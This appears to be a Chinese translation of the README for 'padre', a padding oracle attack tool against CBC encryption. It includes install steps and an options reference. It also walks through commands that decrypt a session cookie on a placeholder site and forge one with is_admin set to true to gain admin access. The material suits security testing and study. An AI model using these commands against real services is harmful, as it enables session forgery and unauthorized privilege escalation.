padre 是一个针对 CBC 模式加密的 Padding Oracle 攻击的高级利用工具
功能:

最快的方式是从 Latest release 下载针对你操作系统的预编译二进制文件
或者,如果你已安装 Go,从源码构建:
go install github.com/glebarez/padre@latest
如果你发现一个疑似 padding oracle,其中加密数据存储在名为 SESS 的 cookie 中,你可以使用以下命令:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
padre 会自动对 HTTP 响应进行指纹识别,以确定是否可以确认 padding oracle。如果服务器确实存在漏洞,提供的令牌将被解密成类似如下内容:
{"user_id": 456, "is_admin": false}
看起来你可以提升权限了!
你可以尝试通过首先生成你自己的加密数据来实现,该数据会被 oracle 解密成某种隐匿的明文:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'
这将输出另一组编码后的加密数据,可能类似下面这样(如果使用 base64):
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
现在你可以打开浏览器,将 SESS cookie 的值设置为上述值。加载原始 oracle 页面,你现在应该看到自己已提升为管理员级别。
Usage: padre [OPTIONS] [INPUT]
INPUT:
解密模式:加密数据
加密模式:需要加密的明文
如果未传入,将从 STDIN 读取
注意:二进制数据总是经过 HTTP 编码。如有需要可调整编码规则(参见选项:-e, -r)
OPTIONS:
-u *必需*
目标 URL,使用 $ 字符定义令牌占位符(如果 URL 中存在)
-enc
加密模式
-err
正则表达式模式,HTTP 响应体将与此匹配以检测 padding oracle。省略则执行自动指纹识别
-e
应用于二进制数据的编码。支持的值:
b64(标准 base64)*默认*
lhex(小写十六进制)
-r
编码二进制数据后应用的额外替换。使用奇数长度的字符串,由字符对 <旧><新> 组成。
示例:
如果服务器使用 base64,但将 '/' 替换为 '!','+' 替换为 '-','=' 替换为 '~',则使用 -r "/!+-=~"
-cookie
HTTP 请求中设置的 Cookie 值。使用 $ 字符标记令牌占位符。
-post
执行 POST 请求的字符串数据。使用 $ 字符标记令牌占位符。
-ct
POST 请求的 Content-Type。如果未指定,将自动确定 Content-Type。
-b
密码中使用的块长度(AES 使用 16)。省略则执行自动检测。支持的值:
8
16 *默认*
32
-p
到目标服务器建立的并行 HTTP 连接数 [1-256]
30 *默认*
-proxy
HTTP 代理。例如,对 Burp 或 ZAP 使用 -proxy "http://localhost:8080"